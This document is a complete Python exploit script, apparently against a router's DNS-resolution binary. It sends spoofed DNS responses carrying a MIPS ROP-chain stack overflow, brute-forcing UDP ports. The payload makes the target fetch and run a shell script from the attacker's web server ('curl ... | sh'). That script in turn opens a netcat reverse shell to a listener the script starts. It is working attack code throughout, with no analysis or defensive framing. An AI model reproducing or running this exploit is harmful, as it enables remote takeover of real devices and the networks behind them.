import struct, sys, threading, os, time, http.server, socketserver from scapy.all import * THREADS = 20 MIN_PORT = 32000 MAX_PORT = 61000 SPOOF_LIST = [ # Possible DNS servers that the router uses. Modify order based on target. "192.168.1.1", "192.168.0.1", "10.0.0.1", "172.16.0.0", "1.1.1.1", "8.8.8.4", "8.8.8.8", "9.9.9.9" ] REVERSE_SHELL_PORT = 1337 WEB_SERVER_PORT = 4444 LISTENER_CMD = "nc -lp %d" LOADER_CMD = "curl http://%s:%d/ | sh" REVERSE_SHELL_CMD = "rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc %s %d >/tmp/f" if os.geteuid() != 0: print("[x] You need sudo privileges to run this exploit") exit() if (len(sys.argv) < 4) or (sys.argv[1] != "lan" and sys.argv[1] != "wan"): print("[x] Usage: %s " % sys.argv[0]) exit() mode = sys.argv[1] target = sys.argv[2] attacker = sys.argv[3] def build_payload(cmd): ####### ROP chain ####### # GADGET_1 = 0x00402700 # # prepare args for memcpy() # # lw ra, 0x2c(sp) # move v0, s2 # lw s2, 0x28(sp) # lw s1, 0x24(sp) # lw s0, 0x20(sp) # jr ra # addiu sp, sp, 0x30 # GADGET_2 = 0x00405a98 # # continue preparing args and call memcpy() # this is a fragment of process_resolved_IP() and it continues until it returns # # move a0, v0 # jal :memcpy # _move a2, s1 # [...] # GADGET_3 = 0x004065e8 # # prepare args and call system() # # move a0, v0 # clear v0 # lw ra, 0x1c(sp) # jr ra # ######################### # len of each "domain name" in the payload. must be less than 64 DOMAIN_LEN = 0x3f # DNS header TXID = [0, 0] FLAGS = [0, 0] QDCOUNT = [0, 0] ANCOUNT = [0, 1] NSCOUNT = [0, 0] ARCOUNT = [0, 0] # first bytes correspond to the DNS response header payload = [] payload += TXID payload += FLAGS payload += QDCOUNT payload += ANCOUNT payload += NSCOUNT payload += ARCOUNT # next bytes are the DNS payload that is copied into de overflowed buffer ### fill up the buffer (3 domain names with length DOMAIN_LEN) for i in range (0,4): payload += [DOMAIN_LEN] # length of current domain name for j in range(0, DOMAIN_LEN): payload += [0x41] ### fill up remaining space until registers payload += [0x17] # length of current domain name payload += [0x41] * 23 ### corrupt stack payload += [0x28] # length of current domain name payload += struct.pack(">I", 0x30303030) # s0 payload += struct.pack(">I", 0x31313131) # s1 payload += struct.pack(">I", 0x0041e000) # s2: [gadget_1] dest argument for memcpy() in gadget_2, corresponding to the data section of conn-indicator which is writeable, where the command will be copied payload += struct.pack(">I", 0x0041e000) # s3: [gadget_3] command to execute. data section previsouly written to in gadget_2. it gets moved into $v0 before gadget_3 is executed payload += struct.pack(">I", 0x34343434) # s4 payload += struct.pack(">I", 0) # s5: [gadget_2] variable i in process_resolved_IP() so that when i + 1 = 1 and the loop can stop payload += struct.pack(">I", 0x36363636) # s6 payload += struct.pack(">I", 0x37373737) # s7 payload += struct.pack(">I", 0) # s8: [gadget_2] param_4 payload += struct.pack(">I", GADGET_1) # ra: address of gadget_1 to be loaded in $ra payload += [0x2f] # length of current domain name payload += [0x41] * 7 payload += struct.pack(">I", 1) # ANCOUNT on the first execution of process_resolved_IP() payload += [0x41] * 4 payload += struct.pack(">I", 0) # param_5 payload += [0x41] * 16 payload += struct.pack(">I", 0x100) # [gadget_1] count argument for memcpy() in gadget_2 payload += [0x41] * 4 payload += struct.pack(">I", GADGET_2) # [gadget_1] address of gadget_2 to be loaded in $ra payload += [0] # length of current domain name (end of DNS payload) # next 10 bytes are copied into answer_flags # set them to 0 to bypass all operations and maintain the stack untouched until the return for i in range (0,10): payload += [0] # next bytes are where $a1 and $a3 point to when process_resolved_IP() is returning # [gadget_1] src argument for memcpy() in gadget_2 payload += struct.pack("%is" % len(cmd), bytes(cmd, encoding="ascii")) payload += [0] payload += [0x41] * (228 - len(cmd) - 1) payload += struct.pack(">I", GADGET_3) # [gadget_2] address of gadget_3 to be loaded in $ra payload += [0x41] * 8 payload += struct.pack(">I", 1) # [gadget_2] ANCOUNT on the second execution of process_resolved_IP() payload += [0x41] * 4 payload += struct.pack(">I", 0) # [gadget_2] param_5 payload += [0x41] * 8 payload += struct.pack(">I", 0x0040e0f0) # [gadget_3] system() address return payload # run listener print("[+] Running netcat listener on port %d" % REVERSE_SHELL_PORT) t1 = threading.Thread(target=os.system, args=(LISTENER_CMD % REVERSE_SHELL_PORT,)) t1.start() time.sleep(1) # run web server print("[+] Running web server on port %d" % WEB_SERVER_PORT) stop_requests = False class web_server_handler(http.server.SimpleHTTPRequestHandler): def do_GET(self): global stop_requests stop_requests = True print() print("[*] Received connection! Sending reverse shell") print() self.send_response(200) self.wfile.write(bytes(REVERSE_SHELL_CMD % (attacker, REVERSE_SHELL_PORT), "utf8")) return server = socketserver.TCPServer(("", WEB_SERVER_PORT), web_server_handler) t2 = threading.Thread(target=server.serve_forever) t2.start() time.sleep(1) # send payloads def send_payload(min_port, max_port, src_ip=None): global stop_requests for port in range(min_port, max_port+1): if stop_requests: break payload = build_payload(LOADER_CMD % (attacker, WEB_SERVER_PORT)) if src_ip: packet = IP(src=src_ip, dst=target) / UDP(sport=53, dport=port) / raw(bytes(payload)) else: packet = IP(dst=target) / UDP(sport=53, dport=port) / raw(bytes(payload)) send(packet, verbose=0) port += 1 time.sleep(0.001) stop_requests = False ports_range = int((MAX_PORT - MIN_PORT) / THREADS) if mode == "lan": print() for i in range(0, THREADS): min_port = MIN_PORT + (ports_range * i) max_port = MIN_PORT + (ports_range * (i + 1)) - 1 if max_port == MAX_PORT-1: max_port += 1 print("[+] [Thread %d] Sending payload to ports %d-%d" % (i, min_port, max_port)) t = threading.Thread(target=send_payload, args=(min_port, max_port)) t.start() elif mode == "wan": for ip in SPOOF_LIST: if stop_requests: break print() ports_range = int((MAX_PORT - MIN_PORT) / THREADS) for i in range(0, THREADS): min_port = MIN_PORT + (ports_range * i) max_port = MIN_PORT + (ports_range * (i + 1)) - 1 if max_port == MAX_PORT-1: max_port += 1 print("[+] [Thread %d] Sending payload from spoofed %s to ports %d-%d" % (i, ip, min_port, max_port)) t = threading.Thread(target=send_payload, args=(min_port, max_port, ip)) t.start() t.join() time.sleep(1)